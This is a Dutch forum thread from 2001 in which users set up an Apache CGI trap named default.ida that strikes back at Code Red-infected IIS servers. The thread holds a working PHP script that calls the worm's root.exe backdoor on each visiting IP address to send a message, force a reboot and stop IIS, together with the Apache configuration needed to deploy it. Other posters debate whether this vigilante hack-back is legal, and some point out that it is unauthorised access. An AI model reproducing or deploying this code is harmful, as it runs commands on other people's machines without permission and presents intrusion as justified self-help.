/u/1983/whiteButton.png?f=community)
Those who do not understand Unix are condemned to reinvent it, poorly.
:strip_icc():strip_exif()/u/14872/Donald-Duck-Laughing.jpg?f=community)
Wel ff waarschuwen volgende keer dat ie eerst probeert je pc te 'attacken' aangezien het je pc reboot indien het infected is met dat red alert virusOp zaterdag 11 augustus 2001 17:49 schreef Aaargh! het volgende:
Script
ff in op je PC installeren, het disabled IIS op de aanvallende PC en reset hem daarna.
***
If you were a Code Red infected IIS then the command just sent to port 80 was to stop iis and to reboot your machine. If you aren't infected, then you have nothing to worry about, otherwise.. you should really use a secure webserver don't you think?.. one that doesn't let people in a gaping back door to do stuff like this...)
****
(niet dat het bij mij gebeurde... maar het zal je maar overkomen)
nee, hij reset alleen maar als er een attack plaatsvindOp zaterdag 11 augustus 2001 17:56 schreef thoth het volgende:
[..]
Wel ff waarschuwen volgende keer dat ie eerst probeert je pc te 'attacken' aangezien het je pc reboot indien het infected is met dat red alert virus
code:
1
| if (length ($ENV{QUERY_STRING}) > 0) { |
dus alleen een machine die is EN mij aanvalt besmet word gereset (en iis word uitgezet).
de worm is na de reset foetsie => weer een besmetting minder.
de attack triggered dus de reset.
Those who do not understand Unix are condemned to reinvent it, poorly.
/u/9258/killbill.png?f=community)
:strip_exif()/u/10073/compu.gif?f=community)
ik ben er net ff mee bezig geweest: het enige wat ik eigenlijk heb gedaan om .ida als cgi te behandelen is een regel in /etc/apache/srm.conf op te nemen met daarin:
in /etc/apache/srm.conf stond dat mijn documentroot /var/www was, dus daar heb ik die tekst in een bestandje genaamd default.ida gezet.
das toch genoeg?
Nou hopen dat er vissen bijten
hmmz..ik krijg:
terwijl het bestand /var/www/default.ida de volgende rechten heeft:
Zou dat aan een VirtualHost kunnen liggen? Ik heb van het ipadres zelf ook een virtualhost gemaakt. Moet ik die laten verwijzen naar dezelfde dir als de DocumentRoot directive? (ik weet niet waar Code Red naar kijkt, ipadressen of hostnames)
code:
1
| Addhandler cgi-script .ida |
in /etc/apache/srm.conf stond dat mijn documentroot /var/www was, dus daar heb ik die tekst in een bestandje genaamd default.ida gezet.
das toch genoeg?
Nou hopen dat er vissen bijten
hmmz..ik krijg:
code:
1
| You don't have permission to access /default.ida on this server |
terwijl het bestand /var/www/default.ida de volgende rechten heeft:
code:
1
| 4.0k -rw-r--r-- 1 root root 3.6k Aug 11 18:51 default.ida |
Zou dat aan een VirtualHost kunnen liggen? Ik heb van het ipadres zelf ook een virtualhost gemaakt. Moet ik die laten verwijzen naar dezelfde dir als de DocumentRoot directive? (ik weet niet waar Code Red naar kijkt, ipadressen of hostnames)
ach...in een volgend leven lach je er om!
:strip_icc():strip_exif()/u/21/crop69f04ee6196b5_cropped.jpg?f=community)
Check je error_log bestand, waarschijnlijk moet je ExecCGI aanzetten voor /var/www.Op zaterdag 11 augustus 2001 18:56 schreef 0siris het volgende:
ik ben er net ff mee bezig geweest: het enige wat ik eigenlijk heb gedaan om .ida als cgi te behandelen is een regel in /etc/apache/srm.conf op te nemen met daarin:
code:
in /etc/apache/httpd.conf stond dat mijn documentroot /var/www was, dus daar heb ik die tekst in een bestandje genaamd default.ida gezet.
das toch genoeg?
Nou hopen dat er vissen bijten
hmmz..ik krijg:
code:
terwijl het bestand /var/www/default.ida de volgende rechten heeft:
code:
haha
ze komen toch zelf op die site?
en ze hebben toch zelf IIS niet gepatched?
dus ik het ook de gebruikers' schuld!
Check mijn V&A ads: https://tweakers.net/aanbod/user/9258/
:strip_icc():strip_exif()/u/8511/ronald_avatar.jpg?f=community){kind=avatar}
Nee? is het dan legaal om hack attempts op mijn server los te laten?
heb er 593 gehad.
moet ik nu 593 mensen aanklagen ofzo
Dit script zal de versprijding en instandhouding van code red sterk verminderen. Iets waar iedereen bij gebaad is.
PV Output - Obdam; SolarEdge SE5K 'Voor korte strings'; 12x350Wp Oost-West 13°; 8x415Wp Zuid 10°; Totaal 7520Wp.
dus je bent er mee eens dat een hackpoging niet legaal is ?
en wat er op dat moment terug gebeurt is niet hetzelfde ?
tuurlijk is hun admin schuldig aan het niet installeren van de juiste updates maar jij bent als beheerder van de pc die de infected pc reset toch echt wel wat meer schuldig omdat JIJ zelf de software hebt geinstalleerd
dit heet het recht in eigen hand nemen en dat mag volgens geen 1 wet
het excuus van 'ja ik installeer gewoon een programma' valt dus ook weg omdat je het installeerd en DUS ben je verantwoordelijk
als iemand je auto steelt en iemand er mee plat rijdt is de eigenaar toch ook niet schuldig ? en hoeft de auto toch ook niet onklaar gemaakt te worden en als dat wel gebeurt kan de eigenaar degene die de auto onklaar heeft gemaakt aanklagen ... same story here
en wat er op dat moment terug gebeurt is niet hetzelfde ?
tuurlijk is hun admin schuldig aan het niet installeren van de juiste updates maar jij bent als beheerder van de pc die de infected pc reset toch echt wel wat meer schuldig omdat JIJ zelf de software hebt geinstalleerd
dit heet het recht in eigen hand nemen en dat mag volgens geen 1 wet
het excuus van 'ja ik installeer gewoon een programma' valt dus ook weg omdat je het installeerd en DUS ben je verantwoordelijk
als iemand je auto steelt en iemand er mee plat rijdt is de eigenaar toch ook niet schuldig ? en hoeft de auto toch ook niet onklaar gemaakt te worden en als dat wel gebeurt kan de eigenaar degene die de auto onklaar heeft gemaakt aanklagen ... same story here
hmmz...ik ben er niet met alleen "Options ExecCGI" in httpd.conf . Maar hoe moet dat wel? kan ik dat per virtual opgeven ofzo? of met via <directory> ofzo? Ik zal wel weer te moeilijk denken
code:
1
2
3
| [Sat Aug 11 19:43:34 2001] [error] [client censuur] Options ExecCGI is off in this directory: /home/osiris/public_html/default.ida |
ach...in een volgend leven lach je er om!
ja
maar niet voor de volle honderd procent want het is gewoon de taak van een goede admin om die patches te installeren.
Dus, mocht er hier een rechtzaak van ontstaan dan heb je erg veel kans dat de rechter gewoon zegt; tja... dan had de admin maar voorzorgsmaatregelen moeten treffen.
(een goedgeinformeerde rechter dan he?
)
Check mijn V&A ads: https://tweakers.net/aanbod/user/9258/
OK. Best. Maar wie helpt ff configgen? (zie andere posts in dit topic van mij)
ach...in een volgend leven lach je er om!
Verwijderd
Dit is een Perl error. Hij kan de module LWP::UserAgent niet vinden. Ik zal ff een lijstje maken met de modules die je nodig hebt en waar je ze kunt downloaden.
De modules die je nodig hebt zijn:
* http://www.cpan.org/modules/by-module/WWW/libwww-perl-5.53.tar.gz
Dit is libwww, waarin LWP::UserAgent zit.
* http://www.cpan.org/modules/by-module/URI/URI-1.15.tar.gz
Dit is URI, deze heb je nodig om libwww te gebruiken.
* http://www.cpan.org/modules/by-module/MIME/MIME-Base64-2.12.tar.gz
Deze schijn je ook nodig te hebben voor LWP::UserAgent.
* http://www.cpan.org/modules/by-module/HTML/HTML-Parser-3.25.tar.gz
En deze heb je ook nodig.
* http://www.cpan.org/modules/by-module/Net/libnet-1.0703.tar.gz
En deze ook.
* http://www.cpan.org/modules/by-module/Digest/Digest-Perl-MD5-1.5.tar.gz
En uiteindelijk deze...
Je kan ze allemaal compileren d.m.v. een "perl Makefile.pl ; make ; make test ; make install" te geven.
Compileer ze in deze volgorde:
URI
MIME-Base64
HTML-Parser
LibNet
Digest-MD5
Libwww
Op zich maakt de volgorde niet zoveel uit, behalve dat "libwww" als laatste moet.
Nu zou hij het moeten doen.
Dat vat ik dus ook niet
NEways: Osiris, domme vraag, maar heb je apache gerestart na config veranderen 
NEways: Osiris, domme vraag, maar heb je apache gerestart na config veranderen
Those who do not understand Unix are condemned to reinvent it, poorly.
[quote
NEways: Osiris, domme vraag, maar heb je apache gerestart na config veranderen
[/quote]
jazekers! apachectl restart werkt uitstekend. Alleen dat ding nog niet. Ik moet wel veel perl dingen downloaden om dat werkend te krijgen zeg! pffff....
NEways: Osiris, domme vraag, maar heb je apache gerestart na config veranderen
[/quote]
jazekers! apachectl restart werkt uitstekend. Alleen dat ding nog niet. Ik moet wel veel perl dingen downloaden om dat werkend te krijgen zeg! pffff....
ach...in een volgend leven lach je er om!
:strip_icc():strip_exif()/u/4444/icoon.jpg?f=community)
en als je wilt zorgen dat anderen de source kunnen downen moet je default.txt in je www root plaatsen of heb ik het mis
bij mij werkt het nu als ik "perl default.ida" intik maar niet als ik met een browser er naartoe ga..
(heb die regel toegevoegd in srm.conf)
Eeuwige n00b
Verwijderd
*grin*Op zaterdag 11 augustus 2001 21:04 schreef 0siris het volgende:
[..]
Sjeez...bedankt voor het opzoeken, maar dit gaat me wel ver voor een beetje vertier
NP, ik moest ze voor mijn eigen server ook opzoeken
Dus die lijst met links had ik al.
Verwijderd
Dit probleem had ik ook. Ik heb het opgelost om mijn httpd.conf te veranderen :Op zaterdag 11 augustus 2001 21:17 schreef fazer het volgende:
<knip>
bij mij werkt het nu als ik "perl default.ida" intik maar niet als ik met een browser er naartoe ga..
(heb die regel toegevoegd in srm.conf)
* Zoek naar <Directory "/var/lib/apache/htdocs">
(/var/lib/apache/htdocs/ kan bij jou (of iemand anders) anders zijn dan dit voorbeeld)
* Daar moet je Achter de (globale) optie "Options" , +ExecCGI zetten.
Dus dan komt het er zo uit te zien:
Options Indexes FollowSymLinks +ExecCGI
* Voeg ergens een nieuwe regel met:
AddHandler cgi-script .ida
(persoonlijk heb ik het onder "AddHandler cgi-script .cgi" neergezet
)* Restart Apache met "apachectl" of op een andere manier.
* als het goed is moet het werken. Zoniet, doe eens een "chmod 755 default.ida"
Dit heb ik persoonlijk moeten veranderen, ik weet niet hoe het met andere distributies zit (ik gebruik Slackware 7.1)
Vreemd....
als ik "perld default.ida" doe krijg ik dit:
Maar met mijn browser werkt het nog steeds niet..
en dat terwijl ik in httpd.conf dit heb staan:
en dit:
En toch werkt het niet
als ik "perld default.ida" doe krijg ik dit:
code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| #perl default.ida
Content-Type: text/html
<p>
<h1>WELCOME NTK READERS!</h1>
</p>
<p>
<H2>If you are reading this page, then you are probably curious... </H2>
</p>
<p>
This page is actually a script that will connect to your machine and
try to shut it down. Since you are seeing this you probably aren't a
Code Red infected box.
</p>
<knip> |
Maar met mijn browser werkt het nog steeds niet..
en dat terwijl ik in httpd.conf dit heb staan:
code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
| <Directory "/usr/home/www/data">
#
# This may also be "None", "All", or any combination of "Indexes",
# "Includes", "FollowSymLinks", "ExecCGI", or "MultiViews".
#
# Note that "MultiViews" must be named *explicitly* --- "Options All"
# doesn't give it to you.
#
Options Indexes FollowSymLinks MultiViews +ExecCGI
#
# This controls which options the .htaccess files in directories can
# override. Can also be "All", or any combination of "Options", "FileInfo",
# "AuthConfig", and "Limit"
#
AllowOverride All
#
# Controls who can get stuff from this server.
#
Order allow,deny
Allow from all
</Directory> |
en dit:
code:
1
2
3
4
5
6
7
8
9
10
11
12
| #
# AddHandler allows you to map certain file extensions to "handlers",
# actions unrelated to filetype. These can be either built into the server
# or added with the Action command (see below)
#
# If you want to use server side includes, or CGI outside
# ScriptAliased directories, uncomment the following lines.
#
# To use CGI scripts:
#
AddHandler cgi-script .cgi
AddHandler cgi-script .ida |
En toch werkt het niet
Eeuwige n00b
PHP:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| <? echo "<h2>Shutting down of IIS/WIN2K systems infected with CODE RED</h2> <br /><br />this is yet another proof that the windows os sucks ass, so install linux! <br /><br />if your system is not infected this page will do no harm to your system. <br /><br />This script also notify's the owner his pc has been infected before it reboots."; if (getenv(HTTP_X_FORWARDED_FOR)){ $ip = getenv(HTTP_X_FORWARDED_FOR); } else { $ip = getenv(REMOTE_ADDR); } @file('http://'.$ip.'/scripts/root.exe?%2Fc+net+send+%25computername%25+This+machine+has+the+CODE+RED+II+worm%2C+please+shut+down+immediately+and+then+take+appropriate+measures%21%20See%20http%3A%2F%2Fvil.mcafee.com%2FdispVirus.asp%3Fvirus_k%3D99177%26'); @file('http://'.$ip.'/scripts/root.exe?/c+rundll32.exe+shell32.dll,SHExitWindowsEx+5'); @file('http://'.$ip.'/scripts/root.exe?/c+iisreset+/stop') or die("<br /><br /><b>You are not infected by code red</b>"); ?> |
dit zou moeten werken denk ik ... als iemand hier die geinfecteerd is ff naar http://bserver.dhs.org:4000/default.ida zou willen surfen
If it ain't broken it doesn't have enough features
Verwijderd
Krijg je een error in error_log of je browser?Op zaterdag 11 augustus 2001 21:53 schreef fazer het volgende:
Vreemd....
enz, enz...
Zoja: Wat zegt die error?
Zoniet: Staan je permissies goed? (van default.ida)
EDIT:
Ik zie net in mijn eigen httpd.conf dat ik ook nog een regel met "AddType text/html .ida" heb toegevoegd. Probeer dat eens?
in mijn httpd-error.log:
als dat zo is vind ik het vreemd dat ie het wel doet als ik "perl default.ida" in tik..
code:
1
2
| [Sat Aug 11 22:40:05 2001] [error] (8)Exec format error: exec of /usr/home/www/data/default.ida [Sat Aug 11 22:40:05 2001] [error] [client xxx.xxx.xxx.xxx] Premature end of script headers: /usr/home/www/data/default.ida |
als dat zo is vind ik het vreemd dat ie het wel doet als ik "perl default.ida" in tik..
Eeuwige n00b
Hmjaja, maar dat kan veel makkelijker
perl -MCPAN -e 'install URI'
perl -MCPAN -e 'install MIME-Base64'
perl -MCPAN -e 'install HTML-Parser'
perl -MCPAN -e 'install LibNet'
perl -MPCAN -e 'install Digest-MD5'
perl -MCPAN -e 'install Libwww'
Hoef je ook niks te downloaden enzo..
Verwijderd
Gaaf! Die wist ik nog nietOp zondag 12 augustus 2001 00:49 schreef RickJansen het volgende:
[..]
Hmjaja, maar dat kan veel makkelijker
perl -MCPAN -e 'install URI'
perl -MCPAN -e 'install MIME-Base64'
perl -MCPAN -e 'install HTML-Parser'
perl -MCPAN -e 'install LibNet'
perl -MPCAN -e 'install Digest-MD5'
perl -MCPAN -e 'install Libwww'
Hoef je ook niks te downloaden enzo..
En Fazer:
Staat in je default.ida je path naar perl wel goed? Dus edit default.ida en op de 1ste regel moet zoiets staan als "#!/usr/bin/perl -w" verander dat (als het nodig is) naar de goede directry waarin perl staat.
Misschien dat het daaraan zou kunnen liggen.
fout 1
een rechter zal daar maling aan hebben
uhm ... IIS niet draait zonder dat je het weet ? zover ik weet moet je het toch echt zelf aanzetten
en als ze gegevens kwijt zijn of gedupeerd krabben ze achter de oren van hun advocaten
of gewoon goede producten uitbrengen OF netjes updaten (het is handig als mensen onder hun steen vandaan komen)
en je denkt dat die niet worden vrij gegeven ? grapjas ... dat word bij misbruik ALTIJD gedaan
ik ga hard lachen als er iemand dood word gesued ...
het is echt [b]NIET[/b] legaal so be warned
:strip_exif()/u/851/pb_logo.gif?f=community){kind=logo}
Dit script zet code red inclusief IIS uit. het sloopt dus helemaal nix. een goede admin installeert de patch en start daarna de service weer. Je sloopt toch niets? Je zorgt er alleen voor dat het virus zich niet verder verspreidt.
Antivirus maatschappijen krijgen toch ook geen rechtzaak omdat er een optie "When infected: Delete without questions" in hun antivirus software zit?
Jezelf als systeembeheerder voordoen en dan nooit kijken of er ook bugs zijn vind ik net zo debiel als bovenstaande optie in je virusscanner aanzetten.
verder zit ik op het sjello netwerk, en 75% van alle code red aanvallen komen vanuit het chello netwerk hier, lijkt me dus allemaal debiele thuisgebruikers die niet eens weten dat ze IIS hebben draaien.
Antivirus maatschappijen krijgen toch ook geen rechtzaak omdat er een optie "When infected: Delete without questions" in hun antivirus software zit?
Jezelf als systeembeheerder voordoen en dan nooit kijken of er ook bugs zijn vind ik net zo debiel als bovenstaande optie in je virusscanner aanzetten.
verder zit ik op het sjello netwerk, en 75% van alle code red aanvallen komen vanuit het chello netwerk hier, lijkt me dus allemaal debiele thuisgebruikers die niet eens weten dat ze IIS hebben draaien.
edit:
O ja, je kunt ook de rechtszaak omdraaien:
Zij proberen op jou server in te breken, dit zorgt ervoor dat dat script gaat draaien, kost CPU power + hdd access, dus kost mij dat resources. Kan ik hun toch ook aanklagen? Ik kan nog altijd zeggen dat ik niet wist dat dit script op mijn server draaide en dat het best wel eens een virus ofzow kon zijn . Dat is nml hun verweer dan ook.
O ja, je kunt ook de rechtszaak omdraaien:
Zij proberen op jou server in te breken, dit zorgt ervoor dat dat script gaat draaien, kost CPU power + hdd access, dus kost mij dat resources. Kan ik hun toch ook aanklagen? Ik kan nog altijd zeggen dat ik niet wist dat dit script op mijn server draaide en dat het best wel eens een virus ofzow kon zijn
. Dat is nml hun verweer dan ook.
OK... ik zal eerst ff de crap afhandelen:
En dan nu de enige _enigszins_ verstandige opmerking:
In de meeste beschaafde landen is eigenrichting (en dat is dit anti-CR-script) verboden. Net zomin als je de kinderverkrachter z'n ballen eraf mag snijden (hoe graag je dat ook zou willen) zodat ie het nooit meer doet, mag je ook niet iemands webserver aanpassen zodat ie je niet meer lastig valt.
Zo.
Terzijde: ik vind dat anti-CR-script een prima idee, en ik denk ook dat het met eventuele aanklachten wel mee zal vallen. Ik vind het alleen nogal raar dat sommige mensen hier zich in allerlei bochten wringen om het 'legaal' te krijgen. Dat is het niet. Strafbaar wel.
Welk gedeelte van "ongeoorloofde toegang" begrijp je niet? Inbreken bij de juwelier en niets meenemen is _ook_ strafbaar. Voor computers geldt hetzelfde.
Nee, en M$ wordt ook niet aangeklaagd omdat ze format.exe meeleveren met windows. Lees de gebruikersovereenkomst van elk willekeurig softwarepakket nog eens door.
Mag ik hieruit afleiden dat debielen geen rechten hebben? Als in: "De plaatselijke juwelier beroven is strafbaar, maar je debiele buurman beroven is geen probleem."
En dan nu de enige _enigszins_ verstandige opmerking:
Een rechtszaak aanspannen (of: "de autoriteiten inschakelen", rechtszaken zijn zo amerikaans) zou inderdaad de juiste manier zijn.edit:
O ja, je kunt ook de rechtszaak omdraaien:
Zij proberen op jou server in te breken, dit zorgt ervoor dat dat script gaat draaien, kost CPU power + hdd access, dus kost mij dat resources. Kan ik hun toch ook aanklagen? Ik kan nog altijd zeggen dat ik niet wist dat dit script op mijn server draaide en dat het best wel eens een virus ofzow kon zijn
In de meeste beschaafde landen is eigenrichting (en dat is dit anti-CR-script) verboden. Net zomin als je de kinderverkrachter z'n ballen eraf mag snijden (hoe graag je dat ook zou willen) zodat ie het nooit meer doet, mag je ook niet iemands webserver aanpassen zodat ie je niet meer lastig valt.
Zo.
Terzijde: ik vind dat anti-CR-script een prima idee, en ik denk ook dat het met eventuele aanklachten wel mee zal vallen. Ik vind het alleen nogal raar dat sommige mensen hier zich in allerlei bochten wringen om het 'legaal' te krijgen. Dat is het niet. Strafbaar wel.
Whenever you find that you are on the side of the majority, it is time to reform.
Tuurlijk is het niet legaal. Maar als je er een rechtszaak om krijgt?
Kan je altijd nog zeggen: "Ik heb goed gedaan, want ik heb het aantal servers wat strax whitehouse.gov aanvalt flink gereduceerd"
Denk dat een beetje amerikaanse rechter die ook maar enig verstand heeft dan de boel zou afblazen...
Of: Ik had dat script al draaien voordat zij binnenkwamen... Alarm gaat af, server in de boeien
Maar legaal is het niet nee. Effectief wel
Kan je altijd nog zeggen: "Ik heb goed gedaan, want ik heb het aantal servers wat strax whitehouse.gov aanvalt flink gereduceerd"
Denk dat een beetje amerikaanse rechter die ook maar enig verstand heeft dan de boel zou afblazen...
Of: Ik had dat script al draaien voordat zij binnenkwamen... Alarm gaat af, server in de boeien
Maar legaal is het niet nee. Effectief wel
:strip_exif()/u/196/day-of-the-tentacle3.gif?f=community)
Tja, het zal allemaal wel meevallen met rechtzaken enzo. Maar wat ik niet begrijp is dat veel mensen met hun hoofd in een roze wolk lopen.
Hoezo,
"maar als ik aangeklaagd wordt dan heb ik verweer blablabla...",
"dan klaag ik hen toch aan...",
"een rechter met verstand van zaken..."?
1. jouw verweer zal vrij weinig uitmaken als je tegenover een groepje duurbetaalde advocaten van een bedrijf staat. Zeker als het een "ja maar, zij zijn begonnen" verweer is.
2. een rechtzaak beginnen? en wie gaat dat betalen? en bij wie denk je dat de geldbuidel het eerste op is?
3. *LOL*
Nogmaals, het zal wel niet zo ver komen, maar sprookjes verzinnen laat je maar aan de gebroeders Grim over
Hoezo,
"maar als ik aangeklaagd wordt dan heb ik verweer blablabla...",
"dan klaag ik hen toch aan...",
"een rechter met verstand van zaken..."?
1. jouw verweer zal vrij weinig uitmaken als je tegenover een groepje duurbetaalde advocaten van een bedrijf staat. Zeker als het een "ja maar, zij zijn begonnen" verweer is.
2. een rechtzaak beginnen? en wie gaat dat betalen? en bij wie denk je dat de geldbuidel het eerste op is?
3. *LOL*
Nogmaals, het zal wel niet zo ver komen, maar sprookjes verzinnen laat je maar aan de gebroeders Grim over
Today's subliminal thought is:
Pagina: 1